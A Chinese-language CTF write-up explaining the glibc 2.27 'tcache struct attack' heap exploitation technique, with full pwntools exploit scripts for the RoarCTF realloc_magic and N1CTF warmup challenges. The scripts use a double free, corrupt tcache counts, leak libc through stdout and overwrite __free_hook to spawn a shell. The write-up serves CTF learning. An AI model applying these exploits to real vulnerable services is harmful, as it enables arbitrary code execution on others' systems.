前言
随着CTF的水平的不断提升,原来的一些常规堆题的技术手段已经不足以撑起比较高水平的比赛的质量了。最近发现一类罕见的攻击手段,我姑且把它叫做tache struct attack,它区别于以往的tcache attack题目的篡改tache的fd指针,实现任意地址读写,更多的是利用tache链表保存在heap上的特性,在heap地址、libc地址等偏移地址未知以及申请堆块数量有限制的情况下在tcache attack技术上更进一步进行漏洞利用。相对于fastbin attack技术需要的利用条件更少,利用范围更广。本文只是对tcache struct attack技术的初步探讨,更多细节欢迎各路大佬与我讨论。
tcache struct attack
初始化
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
在程序需要进行动态分配时,如果是使用TCACHE机制的话,会先对tcache进行初始化。跟其他bins不一样的是,tcache是用_int_malloc函数进行分配内存空间的,因此tcache结构体是位于heap段,而不是main_arena。
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//0x40
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;
tcache的结构是由0x40字节数量数组(每个字节代表对应大小tcache的数量)和0x200(0x40*8)字节的指针数组组成(每8个字节代表相应tache_entry链表的头部指针)。因此整个tcache_perthread_struct结构体大小为0x240。
结合示例程序观察tcache结构:
//64位
int main()
{
char* p = malloc(0x10);
free(p);
p = malloc(0x20);
free(p);
return 0;
}
0x13db000: 0x0000000000000000 0x0000000000000251
0x13db010: 0x0000000000000101 0x0000000000000000
0x13db020: 0x0000000000000000 0x0000000000000000
0x13db030: 0x0000000000000000 0x0000000000000000
0x13db040: 0x0000000000000000 0x0000000000000000
0x13db050: 0x00000000013db260 0x00000000013db280
... : 0
0x13db250: 0x0000000000000000 0x0000000000000021
0x13db260: 0x0000000000000000 0x0000000000000000
0x13db270: 0x0000000000000000 0x0000000000000031
0x13db280: 0x0000000000000000 0x0000000000000000
0x13db290: 0x0000000000000000 0x0000000000000000
0x13db2a0: 0x0000000000000000 0x0000000000020d61
可以观察到从heap+0x10到heap+0x50每个字节都是counts,从heap+0x50到heap+0x250每8个字节都是tcache_entry指针。
tcache free
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)//<7
{
tcache_put (p, tc_idx);
return;
}
}
#endif
在将chunk放入tcahce的时候会检查tcache->counts[tc_idx] < mp_.tcache_count
(无符号比较),也就是表示在tacha_entry链表中的tache数量是否小于7个。但值得注意的是,tcache->counts[tc_idx]是放在堆上的,因此如果可以修改堆上数据,可以将其改为较大的数,这样就不会将chunk放入tache了。
tcache malloc
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
而在tcache分配时,不会检查tcache->counts[tc_idx]的大小是否大于0,会造成下溢。
题目实例
以下题目只侧重分析tcache struct攻击部分
RoarCTF realloc_magic
漏洞点
int fr()
{
free(realloc_ptr);
return puts("Done");
}
程序中free指针没有清零造成double free漏洞,利用realloc函数分配,没有输出函数,开启全保护。
利用思路
利用double free漏洞修改fd的低2个字节指向heap开头,也就是tcache struct的位置。修改tcache->counts为很大的数,绕过检查。free掉unsortedbin,在tcache_entry上踩下main_arena地址,再部分覆盖攻击stdout泄露libc,最后用相同方法劫持free_hook。
Step1
rea(0x68)
free()
rea(0x18)
rea(0)
rea(0x48)
free()
rea(0)
利用悬空指针未清零形成double free。
heap = 0x7010
stdout= 0x2760
#dbg()
#ipy()
rea(0x68, 'a' * 0x18 + p64(0x201) + p16(heap))#size + fd
爆破部分覆盖tcache的fd指针低2个字节,使其指向tcache struct。同时修改size以便后面获得unsortedbin。
这一步因为需要爆破4位,成功概率为1/16。调试的时候,建议可以使用IPython库,方便实时调整变量的数据。
Step2
rea(0)
rea(0x48)
rea(0)
rea(0x48, '\xff' * 0x40)
分配两次获得tache struct的指针,修改tcache->counts为0xff,使得后面free的chunk都不会进入tache中。
pwndbg> bin
tcachebins
0x20 [ -1]: 0x561fd9868260
0x30 [ -1]: 0
0x40 [ -1]: 0
0x50 [ -1]: 0x1000002
0x60 [ -1]: 0
...
0x1f0 [ -1]: 0
0x200 [ -1]: 0x561fd9868280
可以发现每个tcache对应的数量都变为-1,也就是0xff,由于检查是是无符号比较大小,所以-1>7,可以绕过检查。
rea(0x58, 'a' * 0x18 + '\x00' * 0x20 + p64(0x1f1) + p16(heap + 0x40))#change tcache fake chunk
由于realloc的特性,会将原来的指针(size=0x201)先释放,然后在从中分割出0x60大小的chunk,因此就可以在tcache_entry上留下main_arena地址。
Step3
rea(0)
rea(0x18, p64(0) + p64(0))#chunk overlap
rea(0)
#stdout
rea(0x1e8,p64(0) * 4 + p16(stdout))#tcache attack
rea(0)
rea(0x58, p64(0xfbad1800) + p64(0) * 3 +p8(0xc8))
lb = uu64(ru('\x7f',drop=False)[-6:])-libc.symbols['_IO_2_1_stdin_']
success('libc_base: ' + hex(lb))
此时将0x...50处的chunk的内容可以控制,这样就能部分覆盖掉位于0x..70处的main_arena的数据,修改tache_entry,就能实现任意地址写。这里选择攻击stdout来泄露libc,这里也需要爆破4位,因此总的成功概率为1/256。
Step4
最后用同样的方法修改相应大小的tache_entry指针,劫持free_hook来getshell。
sla('>> ',666)#ptr=0
rea(0x1e8, 'a' * 0x18 + p64(lb + libc.sym['__free_hook'] - 8))
rea(0)
rea(0x48, '/bin/sh\x00' + p64(lb + libc.sym['system']))
free()
irt()
exp
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
#
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './realloc_magic'
ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'#remote libc
ctx.remote_libc = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
ctx.debug_remote_libc = True
libc = ELF('/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
rs()
ctx.breakpoints = [0xbcd]
ctx.symbols = {'lst':0x202058,}
logg=0
if logg:
context.log_level = 'debug'
def rea(sz, c='\n'):
sla('>> ',1)
sla('?', sz)
if sz:
sa('?', c)
def free():
sla('>> ',2)
#double free
rea(0x68)
free()
rea(0x18)
rea(0)
rea(0x48)
free()
rea(0)
heap = 0x7010
stdout= 0x2760
dbg()
ipy()
rea(0x68, 'a' * 0x18 + p64(0x201) + p16(heap))#size + fd
rea(0)
rea(0x48)
rea(0)
rea(0x48, '\xff' * 0x40)
rea(0x58, 'a' * 0x18 + '\x00' * 0x20 + p64(0x1f1) + p16(heap + 0x40))#change tcache fake chunk
rea(0)
rea(0x18, p64(0) + p64(0))#chunk overlap
rea(0)
#stdout
rea(0x1e8,p64(0) * 4 + p16(stdout))#tcache attack
rea(0)
rea(0x58, p64(0xfbad1800) + p64(0) * 3 +p8(0xc8))
lb = uu64(ru('\x7f',drop=False)[-6:])-libc.symbols['_IO_2_1_stdin_']
success('libc_addr: ' + hex(lb))
sla('>> ',666)#ptr=0
rea(0x1e8, 'a' * 0x18 + p64(lb + libc.sym['__free_hook'] - 8))
rea(0,)
rea(0x48, '/bin/sh\x00' + p64(lb + libc.sym['system']))
free()
irt()
N1CTF warmup
漏洞点
printf("index:");
v1 = sub_B4E();
if ( v1 >= 0 && v1 <= 9 )
{
if ( qword_202080[v1] )
ptr = (void *)qword_202080[v1];
if ( ptr )
{
free(ptr);//double free
qword_202080[v1] = 0LL;
puts("done!");
}
程序中free指针同样是没有清零造成double free漏洞,没有输出函数,固定malloc的大小为0x40,开启全保护。
利用思路
Step1
add('0')
add('2')
delete(0)
delete(0)
tcache = 0x6010#tcache_entry
stdout = 0x6760
dbg()
ipy()
add(p16(tcache))#tcache attack
add('0')
add('\xff'*0x40)#tcache_count 0x6010
先利用double free漏洞部分覆盖fd指针为tcache结构体,将tcache->counts写成0xff使得chunk不会释放进tcache。
Step2
delete(3)#get unsortedbin
add('\x01'*0x40)#recover tcache_count
delete(0)
edit(2,p16(stdout))#stdout attack
由于程序限制了malloc出来的chunk大小为0x40,而利用tcache struct attack可以获得tache struct结构体指针,从而将这块chunk free掉就可以绕过限制,在tcahce struct上踩出main_arena地址。
将大小为0x50对应的tcache_entry踩出main_arena地址,才能在malloc(0x40)时部分覆盖低2字节攻击stdout。
Step3
add('0')
add(p64(0xfbad1800)+p64(0)*3+'\xc8')
lb = uu64(r(6))-0x3eba00#stdin
success('libc_base = {}'.format(hex(lb)))
fh = lb + libc.sym['__free_hook']
sys = lb + libc.sym['system']
delete(2)
edit(0,p64(fh))
add('/bin/sh\x00')
add(p64(sys))
delete(2)
irt()
攻击stdout泄露libc后,改写tcache struct中的tcache_entry为free_hook,实现任意地址写。
因为需要爆破heap和stdout两次,所以成功概率为1/256。
exp
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
#context.log_level = 'debug'
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './warmup'
#ctx.custom_lib_dir = '/home/leo/Downloads/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/'
#ctx.debug_remote_libc = True # True for debugging remote libc, false for local.
ctx.symbols={'ptr':0x202060,'lst':0x202080}
ctx.breakpoints=[0xf34]
rs()
libc = ctx.libc # ELF object of the corresponding libc.
def add(c):#10 0x40
sla('>>',1)
sa('content>>',c)
def delete(idx):#double free
sla('>>',2)
sla('index:',idx)
def edit(idx,c):#set ptr
sla('>>',3)
sla('index:',idx)
sa('content>>',c)
add('0')
add('2')
delete(0)
delete(0)
tcache = 0x6010#tcache_entry
stdout = 0x6760
dbg()
ipy()
add(p16(tcache))#tcache attack
add('0')
add('\xff'*0x40)#tcache_count 0x6010
delete(3)#get unsortedbin
add('\x01'*0x40)#recover tcache_count
delete(0)
edit(2,p16(stdout))#stdout attack
add('0')
add(p64(0xfbad1800)+p64(0)*3+'\xc8')
lb = uu64(r(6))-0x3eba00#stdin
success('libc_base = {}'.format(hex(lb)))
fh = lb + libc.sym['__free_hook']
sys = lb + libc.sym['system']
delete(2)
edit(0,p64(fh))
add('/bin/sh\x00')
add(p64(sys))
delete(2)
irt()
总结
tcache struct attack方法比较适用于没有输出函数,不知道bss地址、libc地址和heap地址等偏移地址,利用chunk overlap或UAF等堆漏洞,可以部分篡改tcache的fd,通过tcache attack技术分配到tcache struct,篡改tcache->counts数组和tcache->entry指针数组,达到main_arena上的任意地址写。
虽然需要的利用条件减少了,但这种方法的缺点是需要爆破,远程攻击所需要的时间长。